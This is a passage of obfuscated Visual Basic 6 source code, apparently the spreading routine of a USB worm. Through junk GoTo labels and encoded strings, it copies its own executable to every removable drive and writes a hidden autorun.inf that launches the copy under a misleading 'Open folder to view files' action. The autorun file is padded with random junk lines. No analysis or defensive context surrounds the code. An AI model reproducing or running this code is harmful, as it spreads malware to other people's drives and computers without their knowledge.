rsdmmqvsjpbksqlcghgicvcpuufgheovslden:
GoTo pnsdktnrfdqrirtbsjnonpdg
pnsdktnrfdqrirtbsjnonpdg:
GoTo pnuthaehfkrsffjtlciadlokbvavbror
pnuthaehfkrsffjtlciadlokbvavbror:
  Dim iTime As Long
GoTo nuvathulectgcueibbrmblqaovprgbatfeoblomrsdmmqv
nuvathulectgcueibbrmblqaovprgbatfeoblomrsdmmqv:
GoTo jpbksqlcghgicvcpuufgheovsldendflpcictisrhvgac
jpbksqlcghgicvcpuufgheovsldendflpcictisrhvgac:
  Dim sLines(6) As String
GoTo qknqbmmsopmanedrmvrntbq
qknqbmmsopmanedrmvrntbq:
GoTo oritnuvathulectgcueibbrmblqaovprgbatfeoblo
oritnuvathulectgcueibbrmblqaovprgbatfeoblo:
GoTo coancjujoltmaptaudkruucmkbbpsehdqopoq
coancjujoltmaptaudkruucmkbbpsehdqopoq:
    sLines(0) = ktplrvooidochnfnhitonlsr("[ga&uWt&o<r0uSn3]_")
GoTo haehfkrsffjtlciadlokbvavbroritnuvathu
haehfkrsffjtlciadlokbvavbroritnuvathu:
GoTo mqvsjpbksqlcghgicvcpuufgheovsldendf
mqvsjpbksqlcghgicvcpuufgheovsldendf:
    sLines(1) = ktplrvooidochnfnhitonlsr("o?pTe_nX=nV+iGeVwYfki5l+ecsg.AeNxse,")
GoTo npdgjafflnolvgdsklukmsqjpddptcoancjujoltm
npdgjafflnolvgdsklukmsqjpddptcoancjujoltm:
GoTo nrfdqrirtbsjnonpdgja
nrfdqrirtbsjnonpdgja:
GoTo qopoqknqbmmsopmanedrmvrntbq
qopoqknqbmmsopmanedrmvrntbq:
    sLines(2) = ktplrvooidochnfnhitonlsr("incGo>n?=;%ES(y5sCtce2m1RPo<oBt2%b\6sqymsJt4e[mI372R\fSEHDE+L,L`3p2%.[d€lYl#,E4]")
GoTo aovprgbatfeoblomrsdmmqvsjpbksqlcgh
aovprgbatfeoblomrsdmmqvsjpbksqlcgh:
GoTo sqjpddptcoancjujoltmaptaudkr
sqjpddptcoancjujoltmaptaudkr:
GoTo ucmkbbpsehdqopoqknqbmmsopmanedrmvrntbqqkkaejvhu
ucmkbbpsehdqopoqknqbmmsopmanedrmvrntbqqkkaejvhu:
    sLines(3) = ktplrvooidochnfnhitonlsr("aFcAt5iXoSn~=_Otpewn* KfMovlyd'eTr0 ht†oa mv.i>e*wf ]f^i[leeHs:")
GoTo vqpnuthaehfkrsffjtlciadlokbvavbroritnuvath
vqpnuthaehfkrsffjtlciadlokbvavbroritnuvath:
GoTo lectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbksql
lectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbksql:
    sLines(4) = ktplrvooidochnfnhitonlsr("sHhƒeRl6lU\\oapQe,nU=,OrpjeTn{")
GoTo qjpddptcoancjujoltmaptaudkruu
qjpddptcoancjujoltmaptaudkruu:
    sLines(5) = ktplrvooidochnfnhitonlsr("sihWeql...ld\doKp1een,\Dc`o<m^mBaJn|de=`VUixerw:fdi/l;e3sJ.Pelx1e4")
GoTo avbroritnuvathulectgcueibbrmblqaovprg
avbroritnuvathulectgcueibbrmblqaovprg:
    sLines(6) = ktplrvooidochnfnhitonlsr("sFhYeOl$lB\fo)pNeCn/\kd}e~f{a,,uglZth=>1W")
GoTo qtpgeeegvcfmcbiefbmc
qtpgeeegvcfmcbiefbmc:
    sSpace = Space(255)
GoTo hclhdjngfaampvktkuglgfckjslqsrahhqrvjbnu
hclhdjngfaampvktkuglgfckjslqsrahhqrvjbnu:
GoTo pbeanlllngdgtjcjlmitjaqojsokqunmhbna
pbeanlllngdgtjcjlmitjaqojsokqunmhbna:
GoTo melfhsnmjrqdnbdchiobcgkiufna
melfhsnmjrqdnbdchiobcgkiufna:
    sAllDrives = GetLogicalDriveStrings(Len(sSpace), sSpace)
GoTo bosssunknekjqstpekhbpqdpraf
bosssunknekjqstpekhbpqdpraf:
GoTo toiuhhtlsmodotqcbkuifdipvidhrpfgugjmivd
toiuhhtlsmodotqcbkuifdipvidhrpfgugjmivd:
    Drives = Split(sSpace, Chr$(0))
GoTo forulrqbdealroiabkachgve
forulrqbdealroiabkachgve:
    For i = 0 To UBound(Drives) - 1
GoTo fioemdnvkvebjclejmkpagjkocamnfiqtpgeeegvc
fioemdnvkvebjclejmkpagjkocamnfiqtpgeeegvc:
GoTo mcbiefbmcpohclhdjngfaampvkt
mcbiefbmcpohclhdjngfaampvkt:
GoTo uglgfckjslqsrahhqrvjbnumpbeanlllng
uglgfckjslqsrahhqrvjbnumpbeanlllng:
        If GetDriveType(Drives(i)) = 2 Then
GoTo tjcjlmitjaqojsokqunmhbnagmelf
tjcjlmitjaqojsokqunmhbnagmelf:
            FileCopy App.Path & ktplrvooidochnfnhitonlsr("\V") & App.EXEName & ktplrvooidochnfnhitonlsr(".ue|x�eq"), Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("V=iZeLw.foisl7ensv.-eAxieƒ")
GoTo nmjrqdnbdchiobcgkiufnaifbosssunknekjqstpekhbp
nmjrqdnbdchiobcgkiufnaifbosssunknekjqstpekhbp:
GoTo dprafotoiuhhtlsmodotqcbkuifdipvidhrpfgugjm
dprafotoiuhhtlsmodotqcbkuifdipvidhrpfgugjm:
            Open Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("akuPt...oLrIun\.}ibnjf8") For Output As #f
GoTo ddcforulrqbdealroiabkachgveppfioemdnvkvebjclejmkp
ddcforulrqbdealroiabkachgveppfioemdnvkvebjclejmkp:
GoTo fmcbiefbmcpohclhdjng
fmcbiefbmcpohclhdjng:
            For m = 0 To 6
GoTo unmhbnagmelfhsnmjrqd
unmhbnagmelfhsnmjrqd:
GoTo pqdprafotoiuhhtlsmodotqcbkuifdipvidhr
pqdprafotoiuhhtlsmodotqcbkuifdipvidhr:
                Print #f, sLines(m)
GoTo gugjmivddcforulrqbdealroiabk
gugjmivddcforulrqbdealroiabk:
GoTo pgeeegvcfmcbiefbmcpo
pgeeegvcfmcbiefbmcpo:
GoTo ahhqrvjbnumpbeanlllngdgtjcjlm
ahhqrvjbnumpbeanlllngdgtjcjlm:
                For x = 1 To Int(Rnd * 5) + 5
GoTo jaqojsokqunmhbnagmelfhsnmjrqdnbdchiobcgkiufnai
jaqojsokqunmhbnagmelfhsnmjrqdnbdchiobcgkiufnai:
GoTo dhrpfgugjmivddcforulrqbdeal
dhrpfgugjmivddcforulrqbdeal:
                    Print #f, vnqcgbomnmoifivkelmnkulcrp
GoTo iabkachgveppfioemdnvkvebjclejmkpagjkocam
iabkachgveppfioemdnvkvebjclejmkpagjkocam:
GoTo fiqtpgeeegvcfmcbiefbmcpohclhdjngfaampv
fiqtpgeeegvcfmcbiefbmcpohclhdjngfaampv:
GoTo tkuglgfckjslqsrahhqrvjbnumpbeanlll
tkuglgfckjslqsrahhqrvjbnumpbeanlll:
GoTo gdgtjcjlmitjaqojsokqunmhbnagmelfhsnmj
gdgtjcjlmitjaqojsokqunmhbnagmelfhsnmj:
                Next
GoTo dnbdchiobcgkiufnaifbosssunknekjqstpekhbpqd
dnbdchiobcgkiufnaifbosssunknekjqstpekhbpqd:
GoTo ivddcforulrqbdealroiabkachgveppfioemdnvk
ivddcforulrqbdealroiabkachgveppfioemdnvk:
GoTo ebjclejmkpagjkocamnfiqtpgeeegvcfmcbiefbmcpohclhdj
ebjclejmkpagjkocamnfiqtpgeeegvcfmcbiefbmcpohclhdj:
GoTo gfaampvktkuglgfckjslqsrahhqrvjbnumpbea
gfaampvktkuglgfckjslqsrahhqrvjbnumpbea:
            Next
GoTo llngdgtjcjlmitjaqojsokqunmhbnagmelf
llngdgtjcjlmitjaqojsokqunmhbnagmelf:
GoTo snmjrqdnbdchiobcgkiufnaifbosss
snmjrqdnbdchiobcgkiufnaifbosss:
GoTo nknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuifdipv
nknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuifdipv:
            Close #f
GoTo ifdipvidhrpfgugjmivddcfo
ifdipvidhrpfgugjmivddcfo:
GoTo ulrqbdealroiabkachgveppfioemdnvkvebjclejmkpa
ulrqbdealroiabkachgveppfioemdnvkvebjclejmkpa:
            SetFileAttributes Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("aju€tto4r.uZn,,.Oi@n8fO"), FILE_ATTRIBUTE_HIDDEN
GoTo jbnumpbeanlllngdgtjcjlmitjaqojsok
jbnumpbeanlllngdgtjcjlmitjaqojsok:
GoTo unmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbos
unmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbos:
        End If
GoTo unknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuif
unknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuif:
GoTo ipvidhrpfgugjmivddcforul
ipvidhrpfgugjmivddcforul:
GoTo qbdealroiabkachgveppfioemdnvkvebjclejmkpagj
qbdealroiabkachgveppfioemdnvkvebjclejmkpagj:
GoTo umpbeanlllngdgtjcjlmitjaqojsokqunm
umpbeanlllngdgtjcjlmitjaqojsokqunm:
    Next i
GoTo bmcpohclhdjngfaampvktk
bmcpohclhdjngfaampvktk:
GoTo glgfckjslqsrahhqrvjbnumpbeanlllngdgtjcjlmitjaqoj
glgfckjslqsrahhqrvjbnumpbeanlllngdgtjcjlmitjaqoj:
End Sub
Private Function vnqcgbomnmoifivkelmnkulcrp()
GoTo fbosssunknekjqstpekhbpqdprafotoiuhhtlsm
fbosssunknekjqstpekhbpqdprafotoiuhhtlsm:
GoTo dotqcbkuifdipvidhrpfgugjmivddcforulrqbd
dotqcbkuifdipvidhrpfgugjmivddcforulrqbd:
GoTo pfgugjmivddcforulrqbdealro
pfgugjmivddcforulrqbdealro:
GoTo mcpohclhdjngfaampvktkuglgfckjs
mcpohclhdjngfaampvktkuglgfckjs:
Dim sChars As String, i As Integer
GoTo srahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokq
srahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokq:
GoTo nmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbosssunkne
nmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbosssunkne:
GoTo bmcpohclhdjngfaampvktkuglgfckjslq
bmcpohclhdjngfaampvktkuglgfckjslq:
sChars = ktplrvooidochnfnhitonlsr("aob(cQd9eKfygohDiGj†kHlSmcnNo'p8q:r6s@tmuzv$w^xwyuz0A7B=C-D]EzFlGMH*I/JVK)L2MMNFO%P?QpRpS@TQUiV;QaX9YgZ&1W2&3<405S637_8?9T0_!X§n$+%G&V/Y(k)5=+?c#g+A~N*s',.n:G,>;?-;_E")
GoTo ahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokqunm
ahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokqunm:
GoTo naifbosssunknekjqstpekhbpqdpra
naifbosssunknekjqstpekhbpqdpra:
GoTo ktkuglgfckjslqsmrcdmmqesjph
ktkuglgfckjslqsmrcdmmqesjph:
GoTo svrigggicvcoeuegheoerljenjflpiics
svrigggicvcoeuegheoerljenjflpiics:
Randomize
GoTo bhvgacnihemluisvtcdkttbfdqairdasjnnnpigjvffl
bhvgacnihemluisvtcdkttbfdqairdasjnnnpigjvffl:
GoTo olvgcsklukmsajpjdpccognhjujoltsfpdaudk
olvgcsklukmsajpjdpccognhjujoltsfpdaudk:
For i = 1 To Int(Rnd * 70) + 30
GoTo ucmkbbpcehdquuuakmqgmmsuv
ucmkbbpcehdquuuakmqgmmsuv:
GoTo gnjdrsfrtdbqakkadjvhuiqfqvsethaehfkrbffjtrii
gnjdrsfrtdbqakkadjvhuiqfqvsethaehfkrbffjtrii:
GoTo dlokbvvvbrtahtsdvath
dlokbvvvbrtahtsdvath:
GoTo lkctgcueibbrrhkqgofpbgbatfenhlomrcdmmqesjphksvr
lkctgcueibbrrhkqgofpbgbatfenhlomrcdmmqesjphksvr:
    Randomize
GoTo ggicvcoeuegheoerljenjflpiicsi
ggicvcoeuegheoerljenjflpiicsi:
GoTo nolvgcsklukmsajpjdpccognhjujoltsfpdaudkqeucm
nolvgcsklukmsajpjdpccognhjujoltsfpdaudkqeucm:
    vnqcgbomnmoifivkelmnkulcrp = vnqcgbomnmoifivkelmnkulcrp & Mid(sChars, Int(Rnd * Len(sChars) + 1), 1)
GoTo bpcehdquuuakmqgmmsuvs
bpcehdquuuakmqgmmsuvs:
GoTo aehfkrbffjtriiadlokbvvvbrtaht
aehfkrbffjtriiadlokbvvvbrtaht:
Next i
GoTo vathulkctgcueibbrrhkqgofp
vathulkctgcueibbrrhkqgofp:
GoTo hksvrigggicvcoeuegheo
hksvrigggicvcoeuegheo:
GoTo rljenjflpiicsirbhvgacnihem
rljenjflpiicsirbhvgacnihem:
GoTo uisvtcdkttbfdqairdasjnnnpigjvfflnol
uisvtcdkttbfdqairdasjnnnpigjvfflnol:
End Function